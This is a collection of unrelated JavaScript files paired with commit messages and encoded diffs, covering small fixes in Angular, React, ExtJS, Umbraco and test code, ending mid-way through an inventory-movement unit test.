peerFactory.sendDataToPeer({ type: 'toggleRemoteVideo' }); toggleLocalVideoPlayingState(); }; $scope.determineFullscreenCanvas = function () { return $scope.currentBigScreen; }; $scope.clearActiveCanvas = function () { if ($scope.currentBigScreen === 'remote-big') { drawingFactory.clearRemoteCanvas(); } else if ($scope.currentBigScreen === 'local-big') { drawingFactory.clearLocalCanvas(); } }; $scope.smallStreamSrc = localStreamSrc; $scope.bigStreamSrc = remoteStreamSrc; $scope.remoteAudioSrc = remoteStreamSrc; $scope.leave = leave; if (saveCalls) { recordingFactory.startRecording(); } $scope.$on('$ionicView.leave', function () { leave(); }); });
JavaScript
0.000001
@@ -759,24 +759,68 @@ erLeft' %7D);%0A + callLogFactory.callSucceeded();%0A @@ -2724,60 +2724,8 @@ ();%0A - callLogFactory.callSucceeded();%0A
fe69e4e8288edc7ea0412db035b9701d19afaa79
Remove Accidental Chars
Videolizer/App_Plugins/Videolizer/search.dialog.js
Videolizer/App_Plugins/Videolizer/search.dialog.js
 angular.module('umbraco') .controller('DigitalMomentum.Videolizer.Search', function ($http, $scope, notificationsService, vimeoApi) { $scope.hideLabel = "true"; //Hides the modal Dialog label at the top of the page $scope.errorStr = null; $scope.model = { searchTerm: "", ytApi: $scope.dialogData.ytApi, ytChannelId: $scope.dialogData.ytChannelId, vimeoClientId: $scope.dialogData.vimeoClientId, vimeoClientSecret: $scope.dialogData.vimeoClientSecret, vimeoUserId: $scope.dialogData.vimeoUserId, searchType: $scope.dialogData.defaultSearchType }' ' console.log($scope.model) $scope.results = { yt: [], vimeo: [] } function init() { vimeoApi.init($scope.model.vimeoClientId, $scope.model.vimeoClientSecret , $scope.model.vimeoUserId); $scope.search(); //Run defaut search to get list of latest videos //Select the appropriate Default Radio //if ($scope.model.ytApi) { // if ($scope.model.ytChannelId) { // $scope.searchType = "ytChannel"; // } else { // $scope.searchType = "ytAll"; // } //} } function searchYouTube(searchTerm) { var ApiUrl = 'https://www.googleapis.com/youtube/v3/search?part=snippet&key=' + $scope.dialogData.ytApi var hasASearch = false; var req = { method: 'GET', url: ApiUrl, headers: { 'Content-Type': "json", }, umbIgnoreErrors: true //Tell Umbraco to ignore the errors - http://issues.umbraco.org/issue/U4-5588 //data: { test: 'test' } } if (searchTerm) { req.url += '&q=' + searchTerm; hasASearch = true; } if ($scope.model.searchType == "ytChannel") { req.url += "&channelId=" + $scope.model.ytChannelId if (searchTerm == "") { //We are getting the latest from our channel req.url += "&order=date"; } hasASearch = true; } $http(req).then(function successCallback(response) { // this callback will be called asynchronously // when the response is available //console.log(response); $scope.results.yt = response.data.items; }, function errorCallback(response) { // called asynchronously if an error occurs // or server returns response with an error status. console.log("err", response); $scope.errorStr = "<strong>" + response.data.error.errors[0].reason + "</strong>" + " " + response.data.error.errors[0].message notificationsService.error("YouTube Search Error", response.data.error.errors[0].reason); }); } $scope.search = function () { $scope.errorStr = null; console.log($scope.model.searchType) $scope.results.yt = []; $scope.results.vimeo = []; var hasASearch = false; var searchTerm = $scope.model.searchTerm; if ($scope.model.searchType == "ytChannel" || $scope.model.searchType == "ytAll") { searchYouTube(searchTerm); return; } else { vimeoApi.search(searchTerm, $scope.model.searchType, function (data) { $scope.results.vimeo = data; }); return; } } $scope.selectVideo = function (video) { console.log(video); var videoInfo = {}; if (video.kind == "Vimeo") { videoInfo.id = video.id; videoInfo.type = "Vimeo"; videoInfo.url = "https://vimeo.com/" + video.id; videoInfo.embedUrl = "https://player.vimeo.com/video/" + video.id; } else { //YouTube videoInfo.id = video.id.videoId; videoInfo.type = "YouTube"; videoInfo.url = "https://www.youtube.com/watch?v=" + video.id.videoId; videoInfo.embedUrl = "https://www.youtube.com/embed/" + video.id.videoId; } console.log(videoInfo); $scope.submit(videoInfo); } init(); //Temp Code });
JavaScript
0.000001
@@ -569,15 +569,8 @@ %09%09%09%7D -'%0A%09%09%09%09' %0A%0A%09c
2fcccbbb717ff7eb09035b3606f6d99d7d476c85
fix typo in message
docs/src/examples/modules/Dropdown/Usage/index.js
docs/src/examples/modules/Dropdown/Usage/index.js
import React from 'react' import { Message } from 'semantic-ui-react' import ComponentExample from 'docs/src/components/ComponentDoc/ComponentExample' import ExampleSection from 'docs/src/components/ComponentDoc/ExampleSection' import ShorthandExample from 'docs/src/components/ComponentDoc/ShorthandExample' const DropdownUsageExamples = () => ( <ExampleSection title='Usage'> <ComponentExample title='Open On Focus' description='A dropdown that opens when it is focussed on.' examplePath='modules/Dropdown/Usage/DropdownExampleOpenOnFocus' /> <ComponentExample title='Close On Blur' description='A dropdown that closes when it blurs' examplePath='modules/Dropdown/Usage/DropdownExampleCloseOnBlur' /> <ComponentExample title='Close On Change' description='A multiple selection dropdown can close when the user changes its value.' examplePath='modules/Dropdown/Usage/DropdownExampleCloseOnChange' /> <ComponentExample title='Select On Navigation' description='A dropdown can choose whether or not to change the value when navigating the menu with arrow keys.' examplePath='modules/Dropdown/Usage/DropdownExampleSelectOnNavigation' /> <ComponentExample title='Controlled' description='A dropdown can behave like an controlled input.' examplePath='modules/Dropdown/Usage/DropdownExampleControlled' /> <ComponentExample title='Uncontrolled' description='A dropdown can behave like an uncontrolled input.' examplePath='modules/Dropdown/Usage/DropdownExampleUncontrolled' /> <ComponentExample title='No Results Message' description='You can change the no results message.' examplePath='modules/Dropdown/Usage/DropdownExampleCustomNoResultsMessage' /> <ComponentExample description='You can remove the no results message.' examplePath='modules/Dropdown/Usage/DropdownExampleRemoveNoResultsMessage' /> <ComponentExample title='Remote' description="A dropdown's options can be controlled from outside based on search change." examplePath='modules/Dropdown/Usage/DropdownExampleRemote' /> <ComponentExample title='Allow Additions' description='Using allowAdditions gives users the ability to add their own options.' examplePath='modules/Dropdown/Usage/DropdownExampleAllowAdditions' /> <ComponentExample description='allowAdditions can be used with multiple.' examplePath='modules/Dropdown/Usage/DropdownExampleMultipleAllowAdditions' /> <ComponentExample description='You can provide a custom additionLabel as a string.' examplePath='modules/Dropdown/Usage/DropdownExampleAdditionLabelString' /> <ComponentExample description='Or provide additionLabel as a component.' examplePath='modules/Dropdown/Usage/DropdownExampleAdditionLabelComponent' /> <ComponentExample title='Trigger' description='A dropdown can render a node in place of the text.' examplePath='modules/Dropdown/Usage/DropdownExampleTrigger' /> <ComponentExample examplePath='modules/Dropdown/Usage/DropdownExampleTriggerImage' /> <ComponentExample title='Multiple Custom Label' description='A &quot;multiple&quot; dropdown can render customized label for selected items.' examplePath='modules/Dropdown/Usage/DropdownExampleMultipleCustomLabel' /> <ComponentExample title='Item Content' description='A dropdown item can be rendered differently inside the menu.' examplePath='modules/Dropdown/Usage/DropdownExampleItemContent' /> <ShorthandExample title='Search Input' description='A dropdown implements a search input shorthand.' examplePath='modules/Dropdown/Usage/DropdownExampleSearchInput' /> <ComponentExample title='Search Query' description='A dropdown allows to pass you the search query.' examplePath='modules/Dropdown/Usage/DropdownExampleSearchQuery' > <Message info> This example also shows how to override default bevahiour of the search query and keep entered value after selection. </Message> </ComponentExample> <ComponentExample title='Search Deburr' description='A dropdown allows the search to ignore diacritics.' examplePath='modules/Dropdown/Usage/DropdownExampleDeburrSearch' /> <ComponentExample title='Custom Search Function' description='A dropdown allows you to provide your own search function.' examplePath='modules/Dropdown/Usage/DropdownExampleCustomSearchFunction' /> <ComponentExample title='Upward' description='A dropdown can open its menu upward.' examplePath='modules/Dropdown/Usage/DropdownExampleUpwardSelection' /> <ComponentExample examplePath='modules/Dropdown/Usage/DropdownExampleUpwardInline' /> <ComponentExample examplePath='modules/Dropdown/Usage/DropdownExampleUpward' /> <ComponentExample title='Wrap Selection' description={[ 'A dropdown can enable or disable wrapping the selection to the start', ' when it reaches the end and vice versa', ].join('')} examplePath='modules/Dropdown/Usage/DropdownExampleWrapSelectionFalse' /> </ExampleSection> ) export default DropdownUsageExamples
JavaScript
0.000008
@@ -4152,11 +4152,11 @@ t be -vah +hav iour
57dad8d39afa87f35124b3a442644747435deda6
Rename container to App to be easer to extend the boilerplate
src/app/containers/Root.js
src/app/containers/Root.js
import React, { Component, PropTypes } from 'react'; import { Provider } from 'react-redux'; import CounterApp from './App'; export default class Root extends Component { static propTypes = { store: PropTypes.object.isRequired }; render() { const { store } = this.props; return ( <Provider store={store}> <CounterApp /> </Provider> ); } }
JavaScript
0
@@ -93,23 +93,16 @@ %0Aimport -Counter App from @@ -330,15 +330,8 @@ %3C -Counter App
fe649d6aab1f94d136f9bb8e75ba79a19be566f7
Improve reject save queue
src/ggrc/assets/javascripts/models/save_queue.js
src/ggrc/assets/javascripts/models/save_queue.js
/*! Copyright (C) 2015 Google Inc., authors, and contributors <see AUTHORS file> Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file> Created By: [email protected] Maintained By: [email protected] */ (function(can, $) { /* GGRC.SaveQueue * * SaveQueue is used by CMS.Models.Cacheable to prevent firing * multiple requests to the server at once. It makes sure the requests * are grouped together (inside _queue) and then resolved in batches. * * It will also try to group POST request and use the custom collection post * API and then redistribute responses in order to trace in latency for * throughput. This is done by a "thread" (of timeouts) per object type (per * bucket) that enqueues as a regular request but then greedily dispatches * requests that arrived while it was in the queue. * * enqueue(obj: CMS.Models.Cacheable, save_args) -> null */ can.Construct("GGRC.SaveQueue", { DELAY: 100, // Number of ms to wait before the first batch is fired BATCH: GGRC.config.MAX_INSTANCES || 3, // Maximum number of POST/PUT requests at any given time _queue: [], _buckets: {}, _timeout: null, _enqueue_bucket: function (bucket) { var that = this; return function () { var objs = bucket.objs.splice(0, 100), body = _.map(objs, function (obj) { var o = {}; o[bucket.type] = obj.serialize(); return o; }), dfd = $.ajax({ type: "POST", url: "/api/" + bucket.plural, data: body }).promise(); dfd.always(function (data, type) { if (type === "error") { data = data.responseJSON; if (data === undefined) { return; } } var cb = function(single) { return function () { this.created(single[1][bucket.type]); return $.when(can.Model.Cacheable.resolve_deferred_bindings(this)); }; }; for (var i = 0; i < objs.length; i++) { var single = data[i], obj = objs[i]; if (single[0] >= 200 && single[0] < 300) { obj._save(cb(single)); } else { obj._dfd.rejectWith(obj, [single]); } } }).always(function () { if (bucket.objs.length) { that._step(that._enqueue_bucket(bucket)); } else { bucket.in_flight = false; } }); return dfd; }; }, _step: function (elem) { this._queue.push(elem); if (typeof this._timeout === "number") { clearTimeout(this._timeout); } this._timeout = setTimeout(function () { new GGRC.SaveQueue(this._queue.splice(0, this._queue.length)); }.bind(this), this.DELAY); }, enqueue: function (obj, args) { var elem = function () { return obj._save.apply(obj, args); }; if (obj.isNew()) { var type = obj.constructor.table_singular; var bucket = this._buckets[type]; if (bucket === undefined) { var plural = obj.constructor.table_plural; bucket = { objs: [], type: type, plural: plural, in_flight: false // is there a "thread" running for this bucket }; this._buckets[type] = bucket; } bucket.objs.push(obj); if (bucket.in_flight) { return; } elem = this._enqueue_bucket(bucket); bucket.in_flight = true; } this._step(elem); }, }, { init: function (queue) { this._queue = queue; this._resolve(); }, _resolve: function() { if (!this._queue.length) { // Finished return; } var objs = this._queue.splice(0, this.constructor.BATCH); $.when.apply($, objs.map(function (f) { return f.apply(this); }.bind(this.constructor))).always(this._resolve.bind(this)); // Move on to the next one } }); })(window.can, window.can.$);
JavaScript
0.000001
@@ -2361,26 +2361,20 @@ ject -With (obj, -%5B single -%5D );%0A
eaeb6ec406f740da7749908c6e26f120e9c9075b
use weak comparison for dirty check
app/model/abstractModel.js
app/model/abstractModel.js
core.factory("AbstractModel", function ($injector, $rootScope, $q, ModelCache, ModelUpdateService, ValidationStore, WsApi) { return function AbstractModel(repoName) { var abstractModel; var mapping; var entityName; var validations; var defer = $q.defer(); var listenCallbacks = []; var shadow = {}; var validationResults = {}; var listening = false; var combinationOperation = 'extend'; var beforeMethodBuffer = []; var repo; $rootScope.$on("$locationChangeSuccess", function () { listenCallbacks.length = 0; }); this.updatePending = false; this.deletePending = false; this.updateRequested = false; this.deleteRequested = false; this.before = function (beforeMethod) { beforeMethodBuffer.push(beforeMethod); } this.fetch = function () { if (mapping.instantiate !== undefined) { var fetch = true; if (mapping.caching) { var cachedModel = ModelCache.get(entityName); if (cachedModel) { setData(cachedModel); fetch = false; } } if (fetch) { WsApi.fetch(mapping.instantiate).then(function (res) { processResponse(res); }, function (error) { defer.reject(error); }); } } } this.init = function (data, apiMapping) { abstractModel = this; mapping = apiMapping; entityName = abstractModel.constructor.getName(); if (mapping.validations && entityName !== undefined && entityName !== null && entityName.length > 0) { validations = ValidationStore.getValidations(entityName); } if (data) { setData(data); } else { if (!mapping.lazy) { this.fetch(); } } angular.forEach(beforeMethodBuffer, function (beforeMethod) { beforeMethod(); }); this.ready().then(function () { ModelUpdateService.register(abstractModel); }); }; this.enableMergeCombinationOperation = function () { combinationOperation = 'merge'; }; this.enableExtendCombinationOperation = function () { combinationOperation = 'extend'; }; this.getCombinationOperation = function () { return combinationOperation; }; this.getEntityName = function () { return entityName; }; this.getValidations = function () { return validations; }; this.getMapping = function () { return mapping; }; this.ready = function () { return defer.promise; }; this.save = function () { if (injectRepo()) { return repo.save(this); } else { var model = this; var promise = $q(function (resolve) { if (model.dirty()) { angular.extend(mapping.update, { data: model }); WsApi.fetch(mapping.update).then(function (res) { resolve(res); }); } else { var payload = {}; payload[model.constructor.name] = model; resolve({ body: angular.toJson({ payload: payload, meta: { type: "SUCCESS" } }) }); } }); promise.then(function (res) { var message = angular.fromJson(res.body); if (message.meta.status === "INVALID") { angular.extend(abstractRepo, message.payload); } }); return promise; } }; this.delete = function () { if (injectRepo()) { return repo.delete(this); } else { var model = this; angular.extend(mapping.remove, { data: model }); var promise = WsApi.fetch(mapping.remove); promise.then(function (res) { var message = angular.fromJson(res.body); if (message.meta.status === "INVALID") { angular.extend(abstractRepo, message.payload); } }); return promise; } }; this.listen = function (cb) { listenCallbacks.push(cb); }; this.clearListens = function () { listenCallbacks.length = 0; }; this._syncShadow = function () { shadow = angular.copy(abstractModel); }; this.acceptPendingUpdate = function () { console.warn("No update pending!"); }; this.acceptPendingDelete = function () { console.warn("No delete pending!"); }; this.refresh = function () { angular.extend(abstractModel, shadow); }; this.dirty = function () { return compare(abstractModel, shadow); }; this.setValidationResults = function (results) { angular.extend(validationResults, results); if (injectRepo()) { angular.extend(repo.ValidationResults, results); } }; this.getValidationResults = function () { return validationResults; }; this.clearValidationResults = function () { delete validationResults.messages; }; this.update = function (data) { angular[combinationOperation](abstractModel, data); abstractModel._syncShadow(); }; this.extend = function (changes) { angular.extend(abstractModel, changes); abstractModel._syncShadow(); }; var compare = function (m, s) { if (typeof m === 'object') { if (typeof s === 'object') { var diff = false; for (var i in m) { if (m.hasOwnProperty(i) && i !== '$$hashKey' && i !== '$$state') { diff = compare(m[i], s[i]); if (diff) { break; } } } return diff; } else { return false; } } else if (typeof m === 'function') { return false; } else { // console.log(m !== s, m, s); return m !== s; } }; var injectRepo = function () { if (repo === undefined) { try { repo = $injector.get(repoName); } catch (e) { console.warn('Unable to inject ' + repoName); return false; } return true; } else { return true; } }; var setData = function (data) { angular[combinationOperation](abstractModel, data); abstractModel._syncShadow(); if (!listening && mapping.modelListeners) { listen(); } if (mapping.caching) { var cachedModel = ModelCache.get(entityName); if (cachedModel === undefined) { ModelCache.set(entityName, abstractModel); } else { // could possibly update cache here } } defer.resolve(abstractModel); }; var listen = function () { if (abstractModel && mapping.listen) { if (abstractModel.id) { angular.extend(mapping.listen, { method: abstractModel.id }); } var notifyPromise = WsApi.listen(mapping.listen); notifyPromise.then(null, null, function (res) { processResponse(res); angular.forEach(listenCallbacks, function (cb) { cb(res); }); }); listening = true; return notifyPromise; } }; var processResponse = function (res) { var resObj = angular.fromJson(res.body); if (resObj.meta.status !== 'ERROR') { if (combinationOperation === 'extend') { angular.forEach(resObj.payload, function (datum) { angular[combinationOperation](abstractModel, datum); }); } setData(abstractModel); } else { abstractModel.refresh(); } }; // additional core level model methods and variables return this; }; });
JavaScript
0
@@ -6974,24 +6974,74 @@ if (diff) %7B%0A + // console.log(i)%0A @@ -7391,17 +7391,16 @@ log(m != -= s, m, s @@ -7429,17 +7429,16 @@ urn m != -= s;%0A
c91c7fff008c26e7c706a493d36613cee3a24331
Update teambox.js
scripts/content/teambox.js
scripts/content/teambox.js
/*jslint indent: 2 */ /*global document: false, chrome: false, $: false, createLink: false, createProjectSelect: false*/ (function () { "use strict"; var iframeRegex = /oauth2relay/, userData = null, selectedProjectId = null, selectedProjectBillable = false; function createTimerLink(taskName) { var link = createLink('toggl-button teambox'); link.addEventListener("click", function (e) { chrome.extension.sendMessage({ type: 'timeEntry', description: task, projectId: selectedProjectId, billable: selectedProjectBillable }); link.innerHTML = "Started..."; return false; }); return link; } function addButton(e) { if (e.target.className === "taskName" || iframeRegex.test(e.target.name)) { var taskDescription = $(".property.description"), title = $("#details_pane_title_row textarea#details_property_sheet_title").value, projectSelect = createProjectSelect(userData, "toggl-select teambox"); //make sure we init the values when switching between tasks selectedProjectId = null; selectedProjectBillable = false; projectSelect.onchange = function (event) { selectedProjectId = event.target.options[event.target.selectedIndex].value; if (selectedProjectId !== "default") { selectedProjectBillable = userData.projects.filter(function (elem, index, array) { return (elem.id === selectedProjectId); })[0].billable; } else { selectedProjectId = null; selectedProjectBillable = false; } }; taskDescription.parentNode.insertBefore(createTimerLink(title), taskDescription.nextSibling); taskDescription.parentNode.insertBefore(projectSelect, taskDescription.nextSibling); } } chrome.extension.sendMessage({type: 'activate'}, function (response) { if (response.success) { console.log(response.user); userData = response.user; document.addEventListener("DOMNodeInserted", addButton); } }); }());
JavaScript
0.000001
@@ -728,16 +728,17 @@ me === %22 +. taskName @@ -813,28 +813,16 @@ $(%22. -property.description +taskName %22),%0A
f46882843dfe8fd604d4cb6afca78e82d0e07fa6
Enable all relevant tests
test/integration/profile-history.bl.spec.js
test/integration/profile-history.bl.spec.js
import ProfileHistoryBL from './../../src/modules/profile-history/profile-history.bl'; import Context from './../../src/config/context'; import DBHelpers from './../lib/db-helpers'; import _ from 'lodash'; describe.only( 'profile-history.bl', () => { let dbHelpers; let context; before( ( done ) => { context = Context.instance(); dbHelpers = new DBHelpers(); dbHelpers.dropDatabase( done ); } ); beforeEach( () => { return ProfileHistoryBL.removeAll(); } ); it( 'save should just save the item', () => { let doc = { id: 1, login: 'stefanwalther', foo: 'profile-history', date: new Date().setUTCHours( 0, 0, 0, 0 ) }; return ProfileHistoryBL.save( _.clone( doc ) ) .then( result => { expect( result ).to.exist; expect( result ).to.have.property( 'login' ).to.be.equal( doc.login ); expect( result._doc ).to.have.property( 'foo' ).to.be.equal( doc.foo ); expect( result._doc ).to.have.property( 'date' ).to.be.eql( new Date( doc.date ) ); } ); } ); it( 'should update the item if already existing', () => { let dateToday = new Date(); let doc1 = { id: 1, login: 'stefanwalther', foo: 'profile-history', date: dateToday.setUTCHours( 0, 0, 0, 0 ) }; let doc2 = { id: 1, login: 'stefanwalther', foo: 'profile-history2', date: dateToday.setUTCHours( 0, 0, 0, 0 ) }; return Promise.all( [ ProfileHistoryBL.save( _.clone( doc1 ) ), ProfileHistoryBL.save( _.clone( doc2 ) ) ] ) .then( () => { return ProfileHistoryBL.countPerProfileId( 1 ) .then( ( count ) => { expect( count ).to.be.equal( 1 ); } ) } ) .catch( ( err ) => { expect( err ).to.not.exist; } ) } ); it( 'if the date is different a new rec will be created', () => { let dateToday = new Date(); let doc1 = { id: 1, login: 'stefanwalther', foo: 'profile-history', date: dateToday.setUTCHours( 0, 0, 0, 0 ) }; let dateYesterday = new Date( dateToday.setDate( dateToday.getDate() - 1 ) ); dateYesterday = dateYesterday.setUTCHours( 0, 0, 0, 0 ); let doc2 = { id: 1, login: 'stefanwalther', foo: 'profile-history', date: dateYesterday }; return Promise.all( [ ProfileHistoryBL.save( doc1 ), ProfileHistoryBL.save( doc2 ) ] ) .catch( ( err ) => { expect( err ).to.not.exist; } ); } ); xit( 'the history will be updated by its combined key', () => { expect( true ).to.be.false; } ); //Todo: Doesn't seem to be robust, return 2 instead of 1 from time to time ... ?! it.only( 'updates and existing item automatically (per profile/day)', () => { let dateToday = new Date(); let dateYesterday = new Date( dateToday.setDate( dateToday.getDate() - 1 ) ); let doc1 = { id: 1, login: 'stefanwalther', name: 'Stefan Walther', date: new Date( dateYesterday ).setUTCHours( 0, 0, 0, 0 ) }; let doc2 = { id: 1, login: 'stefanwalther', name: 'Stefan Walther 2', date: new Date( dateYesterday ).setUTCHours( 0, 0, 0, 0 ) }; return ProfileHistoryBL.save( _.clone( doc1 ) ) .then( () => { return ProfileHistoryBL.save( _.clone( doc2 ) ) } ) .then( () => { return ProfileHistoryBL.countPerProfileId( 1 ) .then( count => { expect( count ).to.be.equal( 1 ) } ) } ) .then( () => { return ProfileHistoryBL.getByProfileId( 1 ) .then( result => { expect( result ).not.to.be.empty; expect( result ).to.have.a.property( 'name' ).to.be.equal( 'Stefan Walther 2' ); } ) } ) } ); } );
JavaScript
0.002056
@@ -208,21 +208,16 @@ describe -.only ( 'profi @@ -2642,99 +2642,10 @@ %0A%0A -//Todo: Doesn't seem to be robust, return 2 instead of 1 from time to time ... ?!%0A it.only +it ( 'u
b0133332dc7dc0ef12b3cecb410a70be30e28236
update monorepo tests to temporarily exclude requiring the new @bolt/analytics-autotrack library to be symlinked
scripts/monorepo-tests.js
scripts/monorepo-tests.js
#!/usr/bin/env node const fs = require('fs'); const path = require('path'); const { promisify } = require('util'); const readdir = promisify(fs.readdir); const lstat = promisify(fs.lstat); /** * Monorepo symlink checker for internal `@bolt` packages * Ensures every directory in `../node_modules/@bolt/` is a symbolic link, if not then, a package is being pulled from npm instead of the local repo - which causes problems. */ function checkMonorepoSymlinks() { const baseDir = path.resolve(__dirname, '../node_modules/@bolt'); readdir(baseDir) .then(dirNames => Promise.all(dirNames.map((dirName) => { const item = { path: path.join(baseDir, dirName), }; return new Promise((resolve, reject) => { lstat(item.path) .then((stats) => { item.stats = stats; resolve(item); }) .catch(reject); }); }))) .then((items) => { items.forEach((item) => { if (!item.stats.isSymbolicLink() && !item.path.includes('fast-sass-loader') ) { console.log('🛑 Error: Everything in "node_modules/@bolt/" should be a symbolic link to ensure the monorepo is set up correctly. You most likely have a version mismatch between this and something that is using it.'); console.log(item.path); process.exit(1); } else { // console.log(`Looks good: ${item.path}`); } }); }) .catch((error) => { console.log('🛑 uh oh!', error); process.exit(1); }); console.log('✅ Monorepo check that `@bolt` packages are symlinked looks good!'); } checkMonorepoSymlinks();
JavaScript
0
@@ -566,16 +566,22 @@ Names =%3E +%0A Promise @@ -585,16 +585,25 @@ ise.all( +%0A dirNames @@ -611,17 +611,15 @@ map( -( dirName -) =%3E @@ -622,24 +622,28 @@ =%3E %7B%0A + + const item = @@ -645,16 +645,20 @@ tem = %7B%0A + @@ -702,11 +702,19 @@ + -%7D;%0A + %7D;%0A @@ -765,16 +765,20 @@ + lstat(it @@ -800,27 +800,33 @@ + + .then( -( stats -) =%3E %7B%0A + @@ -853,16 +853,20 @@ stats;%0A + @@ -890,27 +890,35 @@ ;%0A -%7D)%0A + %7D)%0A .c @@ -937,24 +937,28 @@ ;%0A + %7D);%0A %7D)))%0A @@ -953,11 +953,29 @@ + -%7D)) + %7D),%0A ),%0A )%0A @@ -986,15 +986,13 @@ hen( -( items -) =%3E @@ -1013,22 +1013,20 @@ forEach( -( item -) =%3E %7B%0A @@ -1035,16 +1035,27 @@ if ( +%0A !item.st @@ -1077,16 +1077,26 @@ ink() && +%0A !item.p @@ -1127,16 +1127,86 @@ loader') + &&%0A !item.path.includes('@bolt/analytics-autotrack')%0A ) %7B%0A @@ -1224,16 +1224,29 @@ ole.log( +%0A '%F0%9F%9B%91 Error @@ -1438,16 +1438,28 @@ ing it.' +,%0A );%0A @@ -1627,15 +1627,13 @@ tch( -( error -) =%3E @@ -1717,16 +1717,21 @@ ole.log( +%0A '%E2%9C%85 Mono @@ -1789,16 +1789,20 @@ s good!' +,%0A );%0A%7D%0A%0Ach
3c87548f543966e5c756689e2a36589013482951
Correct config for RestfulSimplifiedLayout.
devilry/apps/extjshelpers/static/extjs_classes/extjshelpers/RestfulSimplifiedLayout.js
devilry/apps/extjshelpers/static/extjs_classes/extjshelpers/RestfulSimplifiedLayout.js
/** Layout for restful simplified editors. * * @xtype administratorrestfulsimplifiedlayout * */ Ext.define('devilry.extjshelpers.RestfulSimplifiedLayout', { extend: 'Ext.panel.Panel', alias: 'widget.administratorrestfulsimplifiedlayout', requires: ['devilry.extjshelpers.ErrorList'], border: 0, config: { /** * @cfg * Items for the ``Ext.form.Panel`` used to edit the RestfulSimplified object. (Required). */ editformitems: undefined, /** * @cfg * ``Ext.data.Model`` for the RestfulSimplified object. (Required). */ model: undefined, /** * @cfg * Does the RestfulSimplified support delete? (Required). */ supports_delete: undefined, /** * @cfg * List of foreign key field names in the model. (Required). */ foreignkeyfieldnames: undefined }, bodyStyle: { 'background-color': 'transparent' }, initComponent: function() { var me = this; var savebuttonargs = { xtype: 'button', text: 'Save', scale: 'large', iconCls: 'icon-save-32', handler: function() { me.errorlist.clearErrors(); me.editform.getForm().submit({ submitEmptyText: true, waitMsg: 'Saving item...', success: function(form, action) { var record = action.record; me.editform.loadRecord(record); // Need to load the record. If not, the proxy will do a POST instead of PUT on next save. me.readonly(); }, failure: function(form, action) { var errormessages = action.operation.responseData.items.errormessages; Ext.each(errormessages, function(errormessage) { me.errorlist.addError(errormessage); }); } }); } }; var deletebuttonargs = { xtype: 'button', text: 'Delete', flex: 0, hidden: !this.supports_delete, scale: 'large', iconCls: 'icon-delete-32', handler: function() { Ext.MessageBox.show({ title: 'Confirm delete', msg: 'Are you sure you want to delete?', animateTarget: this, buttons: Ext.Msg.YESNO, icon: Ext.Msg.ERROR, fn: function(btn) { if(btn == 'yes') { me.deleteCurrent(); } } }); } }; var clicktoeditbuttonargs = { xtype: 'button', text: 'Click to edit', scale: 'large', iconCls: 'icon-edit-32', listeners: { click: function(button, pressed) { me.editable(); //me.errorlist.addError('Hello world'); //me.errorlist.addError('This is a long error message. Message message message message message message message message message message message message message message message message message message message message message message message message message message message message.'); } } }; this.overlayBar = Ext.create('Ext.container.Container', { floating: true, cls: 'form-overlay-bar', height: 40, width: 300, layout: { type: 'hbox', align: 'stretch', pack: 'end' }, items: [ deletebuttonargs, {xtype: 'component', width: 10}, clicktoeditbuttonargs ] }); this.errorlist = Ext.create('devilry.extjshelpers.ErrorList', {}); var editformargs = { id: me.getChildIdBySuffix('editform'), xtype: 'form', model: this.model, items: this.editformitems, // Fields will be arranged vertically, stretched to full width layout: 'anchor', defaults: { anchor: '100%', }, cls: 'editform', bodyCls: 'editform-body', // Disable by default disabled: true, // Only save button. Other buttons are in overlayBar buttons: [ savebuttonargs ] }; Ext.apply(this, { items: [ this.errorlist, editformargs ], layout: 'fit' }); this.callParent(arguments); this.editform = Ext.getCmp(editformargs.id); }, deleteCurrent: function() { this.editform.submit({ submitEmptyText: true, method: 'DELETE', waitMsg: 'Deleting item...', success: function() { } }); }, getChildIdBySuffix: function(idsuffix) { return this.id + '-' + idsuffix; }, /** Load the request record into the form. */ loadRecordFromStore: function (record_id) { var me = this; Ext.ModelManager.getModel(this.model).load(record_id, { success: function(record) { me.editform.loadRecord(record); //var title = Ext.String.format('Edit', record.data.long_name, record.data.short_name); //me.editform.setTitle(title); var fields = me.editform.getForm().getFields(); Ext.each(me.foreignkeyfieldnames, function(fieldname) { var field = fields.filter('name', fieldname).items[0]; field.store.load(function(store, records, successful) { field.setValue(record.data[fieldname]); }); }); } }); }, getFormButtonBar: function() { return this.editform.dockedItems.items[0]; }, readonly: function() { this.editform.disable(); this.overlayBar.show(); this.overlayBar.alignTo(this.editform, 'tr-tr'); this.getFormButtonBar().hide(); }, editable: function() { this.editform.enable(); this.overlayBar.hide(); this.getFormButtonBar().show(); }, loadUpdateMode: function(record_id) { this.loadRecordFromStore(record_id); this.readonly(); }, loadCreateMode: function() { this.getFormButtonBar().hide(); // NOTE: This is required for some reason? this.editable(); }, loadMode: function(mode, record_id) { if(mode == "update") { this.loadUpdateMode(record_id); } else if(mode == "create") { this.loadCreateMode(); } } });
JavaScript
0
@@ -1002,24 +1002,136 @@ nt'%0A %7D,%0A%0A + constructor: function(config) %7B%0A this.callParent(%5Bconfig%5D);%0A this.initConfig(config);%0A %7D,%0A%0A initComp @@ -5734,159 +5734,8 @@ d);%0A - //var title = Ext.String.format('Edit', record.data.long_name, record.data.short_name);%0A //me.editform.setTitle(title);%0A
b1978019d7a26e456a4dadaae0f17198de70f06f
update unit test inventory movement
test/inventory/inventory-movement/report.js
test/inventory/inventory-movement/report.js
require("should"); var InventoryMovement = require("../../data-util/inventory/inventory-movement-data-util"); var helper = require("../../helper"); var moment = require("moment"); var validate = require("dl-models").validator.inventory.inventoryMovement; var InventoryMovementManager = require("../../../src/managers/inventory/inventory-movement-manager"); var inventoryMovementManager = null; //delete unitest data // var DLModels = require('dl-models'); // var map = DLModels.map; // var MachineType = DLModels.master.MachineType; before('#00. connect db', function (done) { helper.getDb() .then(db => { inventoryMovementManager = new InventoryMovementManager(db, { username: 'dev' }); done(); }) .catch(e => { done(e); }); }); var createdId; it("#01. should success when create new data", function (done) { InventoryMovement.getNewData() .then((data) => inventoryMovementManager.create(data)) .then((id) => { id.should.be.Object(); createdId = id; done(); }) .catch((e) => { done(e); }); }); var createdData; it(`#02. should success when get created data with id`, function (done) { inventoryMovementManager.getSingleById(createdId) .then((data) => { data.should.instanceof(Object); validate(data); createdData = data; done(); }) .catch((e) => { done(e); }); }); var resultForExcelTest = {}; it("#03. should success when read data", function (done) { inventoryMovementManager.getMovementReport({ filter: { _id: createdId } }) .then((documents) => { resultForExcelTest = documents; documents.should.have.property("data"); documents.data.should.be.instanceof(Array); documents.data.length.should.not.equal(0); done(); }) .catch((e) => { 